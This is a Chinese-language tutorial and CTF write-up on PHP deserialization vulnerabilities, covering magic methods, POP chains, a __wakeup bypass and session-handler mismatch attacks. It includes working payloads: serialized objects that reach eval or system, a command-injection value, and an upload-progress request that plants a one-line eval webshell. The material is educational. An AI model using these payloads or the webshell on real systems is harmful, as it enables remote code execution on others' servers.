这几天断断续续总结了下反序列化漏洞,如果有错误,希望师傅们斧正。

基础知识

serialize():返回带有变量类型和值的字符串

unserialize():想要将已序列化的字符串变回 PHP 的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class example{
public $test;
function evil(){
echo $test;
}
}
$new = new example();
$new->test="p0desta";
$ser = serialize($new);
echo $ser."\n";
print_r(unserialize($ser));
?>
output:
O:7:"example":1:{s:4:"test";s:7:"p0desta";}
example Object
(
[test] => p0desta
)
1
2
3
4
5
6
7
8
O:7:"example":1:{s:4:"test";s:7:"p0desta";}
O:对象
7:对象名的长度
example:对象名
1:对象属性数量
s:字符串
4:字符串长度

序列化字符串的格式为:

1
变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

这里还需要注意不同类型的的方法序列化之后不相同,比如说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class example{
private $test1="test1";
protected $test2 = "test2";
public $test3 = "test3";
}
$new = new example();
echo serialize($new);
?>
output:
O:7:"example":3:{s:14:"exampletest1";s:5:"test1";s:8:"*test2";s:5:"test2";s:5:"test3";s:5:"test3";}

在php中有一些函数不需要调用就可以执行,称这种为方法为魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

这些魔术方法可能在写的时候并没有调用,不过有的时候可以利用特性进行攻击。

方法解析

__construct()

这个方法是对象创建完成后调用,每个类中都有构造方法,如果没有显性的声明,那么就会默认存在一个空的构造方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class example{
public $test;
function __construct(){
echo "construct";
}
function evil(){
echo $test;
}
}
$new = new example();
?>
output: construct

__destruct()

在对象销毁时自动调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class example{
public $test;
function __destruct(){
echo "destruct";
}
function evil(){
echo $test;
}
}
$ss = 'O:7:"example":1:{s:4:"test";s:7:"p0desta";}';
unserialize($ss);
?>
output:destruct

利用场景:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class example{
public $test;
function __destruct(){
echo exec($this->test);
}
function evil(){
echo $test;
}
}
$ser = 'O:7:"example":1:{s:4:"test";s:6:"whoami";}';
unserialize($ser);
?>

如果__destruct方法中存在了可控点,那么就可以发起攻击。

__call()

这个方法是当调用一个存在在或者不可访问的方法时调用。

example如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class example{
public $test;
function __call($method,$parm){
echo $method;
echo "<br>";
print_r($parm);
}
function evil(){
$this->$no();
}
}
$new = new example();
$new->test1("data");
?>

output:

1
2
test1
Array ( [0] => data )

也就是说__call的两个参数,第一个参数是调用的不存在的方法名字,第二个参数是值。

那么这样的话简单的利用方式有如下两种,简单构造了两种攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class example{
public $test;
function __call($method,$parm){
echo exec($method);
echo "<br>";
}
function __wakeup(){
$this->whoami($this->test);
}
function evil(){
$this->$no();
}
}
$ss = 'O:7:"example":1:{s:4:"test";N;}';
unserialize($ss);
?>

output:

1
laptop-8cmuaka0\12517

这种情况在于方法名可控的话通过修改方法名来攻击。

moctf中的实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
include 'waf.php';
class sheldon{
public $bag="nothing";
public $weapon="M24";
// public function __toString(){
// $this->str="You got the airdrop";
// return $this->str;
// }
public function __wakeup()
{
$this->bag="nothing";
$this->weapon="kar98K";
}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("<center>You lose</center>");
}
public function __destruct()
{
waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}
}
?>

这里有个点是绕过__wakeup(),这里先不提,后面会说

看这里入口点在

1
2
3
4
5
6
7
8
9
10
11
12
public function __destruct()
{
waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}

这个析构方法调用了Get_air_drops这个方法,看一下

1
2
3
4
public function Get_air_drops($b)
{
$this->$b();
}

这个方法传进来的$this->bag是可控的,并且以方法名调用了,这里就是可控点。
在看__call方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}

方法名可控也就是说$method可控,那么就可以通过控制方法名来进行命令注入。

这里还有就是如果变量可控的话也会存在攻击,我简单写一个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class example{
public $test;
function __call($method,$parm){
echo exec($parm[0]);
echo "<br>";
}
function __wakeup(){
$this->no($this->test);
}
}
#$new = new example();
#$new->test = "whoami";
#echo serialize($new);
$ss = 'O:7:"example":1:{s:4:"test";s:6:"whoami";}';
unserialize($ss);
?>

这个就是通过控制参数来进行攻击。


另外一种触发情况是我在N1ctf中遇到的,利用__call()函数的重载,在一个可控点传入个序列化的对象,反序列化触发。

这里看一下mood类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Mood{
public $mood, $ip, $date;
public function __construct($mood, $ip) {
$this->mood = $mood;
$this->ip = $ip;
$this->date = time();
}
public function getcountry()
{
$ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip);
$ip = json_decode($ip,true);
return $ip['data']['country'];
}
public function getsubtime()
{
$now_date = time();
$sub_date = (int)$now_date - (int)$this->date;
$days = (int)($sub_date/86400);
$hours = (int)($sub_date%86400/3600);
$minutes = (int)($sub_date%86400%3600/60);
$res = ($days>0)?"$days days $hours hours $minutes minutes ago":(($hours>0)?"$hours hours $minutes minutes ago":"$minutes minutes ago");
return $res;
}
}

然后看一下反序列化的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function showmess()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
//id,sig,mood,ip,country,subtime
$db = new Db();
@$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");
if($ret) {
$data = array();
while ($row = $ret->fetch_row()) {
$sig = $row[1];
$mood = unserialize($row[2]);
$country = $mood->getcountry();
}

发现这里有反序列化操作,但是类里并没有魔术方法,比赛结束后看了师傅们的wp才知道原来可以传入一个重载了__call()魔术方法,并且这个魔术方法可以发送请求,可以找到soapclient类,然后传入个反序列化的对象,也就是在

1
2
$mood = unserialize($row[2]);
$country = $mood->getcountry();

$row[2]因为注入的存在所以是可控的,那么反序列化完之后获取到一个soapclient的对象,然后调用了getcountry方法,但是对soapclient对象来说这个方法并不存在,那么就会去调用重载的__call()方法,下面是一些分析:

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: xxx.xxx.xxx.xxx:9999
Connection: Keep-Alive
User-Agent: PHP-SOAP/5.5.9-1ubuntu4.11
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://test-uri/#getcountry"
Content-Length: 386
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://test-uri/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getcountry/></SOAP-ENV:Body></SOAP-ENV:Envelope>

但是这里如果想构造ssrf攻击的话必须去登陆,也就是需要post数据,但是这样post的数据根本无法或许到username和password,同时,在本地测试一下也禁掉了gopher协议,这里就需要CRLF来构造请求伪造登陆。

__callStatic()

这个跟上面的情况差不多,只不过是调用不存在的静态方法时会调用,不再细说。

__wakeup()

这个方法是在调用unserialize()函数之前调用,在题目中也会经常遇到。这个在上面讲__call的时候使用到了,简单说一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class example{
private $test;
function __construct($tt){
$this->test=$tt;
}
public function __wakeup(){
echo exec($this->test);
}
}
$new = new example("whoami");
$ss = serialize($new);
unserialize($ss);
?>

output:

1
laptop-8cmuaka0\12517

__toString()

这个方法也比较常见,当类被当成字符串时的调用方法。

1
2
3
4
5
6
7
8
9
10
11
<?php
class example{
public $test;
function __toString()
{
return "toString";
}
}
$new = new example();
echo $new;
?>

output:

1
toString

这里我拿bug上的一道题目来说

题目代码如下:
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<? php $txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if (isset($txt) && (file_get_contents($txt, 'r') === "welcome to the bugkuctf")) {
echo "hello friend!<br>";
if (preg_match("/flag/", $file)) {
echo "?????????????????????flag???";
exit();
} else {
include($file);
$password = unserialize($password);
echo $password;
}
} else {
echo "you are not the number of bugku ! ";
} ?>

hint.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("2.php");
class Flag {
public $file;
public
function __tostring() {
if (isset($this->file)) {
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

可以看到

1
2
$password = unserialize($password);
echo $password;

这里会调用__toString方法,然后控制$file变量来进行文件读取,生成payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include("2.php");
class Flag {
public $file;
public
function __tostring() {
if (isset($this->file)) {
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
$haha = new Flag();
$haha->file = "flag.php";
echo serialize($haha);
?>
output:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

例题解析-加深理解

例一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
echo "<br>文件".$this->varr."存在<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}
?>

拿个实例来讲,看起来很复杂,其实分析分析很简单,一层套一层而已

第一层中的

1
echo "<br>文件".$this->varr."存在<br>";

这个可以通过控制varr变量来调用foo2的__toString()方法,然后当调用了__toString方法后又可以通过控制

1
$this->obj->execute();

这里让

1
$this->obj = new foo3();

那么就调用了foo3的execute()方法,也调用到了eval函数,来进行攻击。

生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class foo3{
public $varr="system('whoami');";
}
class foo2{
public $varr = "p0desta";
public $obj;
function __construct(){
$this->obj = new foo3();
}
}
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}
$new = new foo1();
echo serialize($new);
?>

例二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
include 'waf.php';
class sheldon{
public $bag="nothing";
public $weapon="M24";
// public function __toString(){
// $this->str="You got the airdrop";
// return $this->str;
// }
public function __wakeup()
{
$this->bag="nothing";
$this->weapon="kar98K";
}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("<center>You lose</center>");
}
public function __destruct()
{
waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}
}
?>

这里之前上面说过一点,这里有个点是__wakeup方法,这里在进行反序列化操作的时候会先调用这个方法,但是在这道题目中会覆盖掉想传进来的参数

这其实是个rce,影响版本

1
2
PHP5 < 5.6.25
PHP7 < 7.0.10

比如说

1
O:7:"example":3:{s:14:"exampletest1";s:5:"test1";s:8:"*test2";s:5:"test2";s:5:"test3";s:5:"test3";}

这个有3个属性值,如果把这个值改为大于3的话就无法正常反序列化,同时也是wakeup失效,但是destruct方法还是会调用,也就绕了过去。

比如这题首先

1
2
3
4
5
6
7
8
9
<?php
class sheldon
{
public $bag="win.php && whoami && ";
public $weapon="AWM";
}
$test = new sheldon();
echo serialize($test);
?>

1
O:7:"sheldon":2:{s:3:"bag";s:21:"win.php && whoami && ";s:6:"weapon";s:3:"AWM";}

然后把2修改大一些就可以绕过,比如说改为5

1
O:7:"sheldon":5:{s:3:"bag";s:21:"win.php && whoami && ";s:6:"weapon";s:3:"AWM";}

php session反序列化

首先了解一下session反序列化的方式

1
2
3
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

看一下序列化之后的

1
2
3
4
5
6
7
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = $_POST['ss'];
?>
output: a:1:{s:4:"name";s:4:"test";}

1
2
3
4
5
6
7
<?php
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['name'] = $_POST['ss'];
?>
name|s:4:"test";

这里可能会发生的问题是在使用不同的序列化和反序列化机制,比如说下面这个例子:

  • t1.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    ini_set('session.serialize_handler', 'php');
    session_start();
    class demo {
    var $test;
    function __destruct() {
    eval($this->test);
    }
    }
  • t2.php

1
2
3
4
5
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = $_POST['ss'];
?>

比如说有这两个页面,然后构造payload:

1
2
3
4
5
6
7
8
9
10
11
<?php
class demo {
var $test;
function __destruct() {
eval($this->test);
}
}
$p0desta = new demo();
$p0desta->test = "phpinfo();";
echo serialize($p0desta);

post数据ss=|O:4:"demo":1:{s:4:"test";s:10:"phpinfo();";}

1
a:1:{s:4:"name";s:45:"|O:4:"demo":1:{s:4:"test";s:10:"phpinfo();";}

拿到的反序列化的字符串是这个,但是在t2.php中是使用的ini_set('session.serialize_handler', 'php');或者没有这句默认的。

那么就会以|分为键值对,然后带着session去访问t1页面就自动反序列化后面的值,那么就进行了攻击。

比如说http://web.jarvisoj.com:32784/这道题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

这里使用的机制是php的,然后我们想办法去传入一个自己构造的session值就可以成功利用,看一下phpinfo页面。

可以看到session.upload_progress.enabled是开启的,并且cleanup是关闭的,当然,开启的话也没关系,可以利用条件竞争去打。

构造表单

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/phpinfo.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" vaule="123" />
<input type="file" name="file1" />
<input type="submit" />
</form>

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class OowoO
{
public $mdzz;
function __destruct()
{
eval($this->mdzz);
}
}
$p0desta = new OowoO();
$p0desta->mdzz = "phpinfo();";
echo serialize($p0desta);
?>

构造请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /phpinfo.php HTTP/1.1
Host: web.jarvisoj.com:32784
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Content-Length: 418
Cookie: UM_distinctid=161c2fb9e99164-06b373f887b9ba8-4c322172-144000-161c2fb9e9a4dd; PHPSESSID=4c4i1p4lpguclk859gn50nfi05
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------41184676334
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
|O:5:"OowoO":1:{s:4:"mdzz";s:10:"phpinfo();";}
-----------------------------41184676334
Content-Disposition: form-data; name="file1"; filename="p0desta.php"
Content-Type: application/octet-stream
<?php
`echo '<?php eval(\$_POST[1]); ?>' > shell.php`;
?>
-----------------------------41184676334--

带着session去访问index.php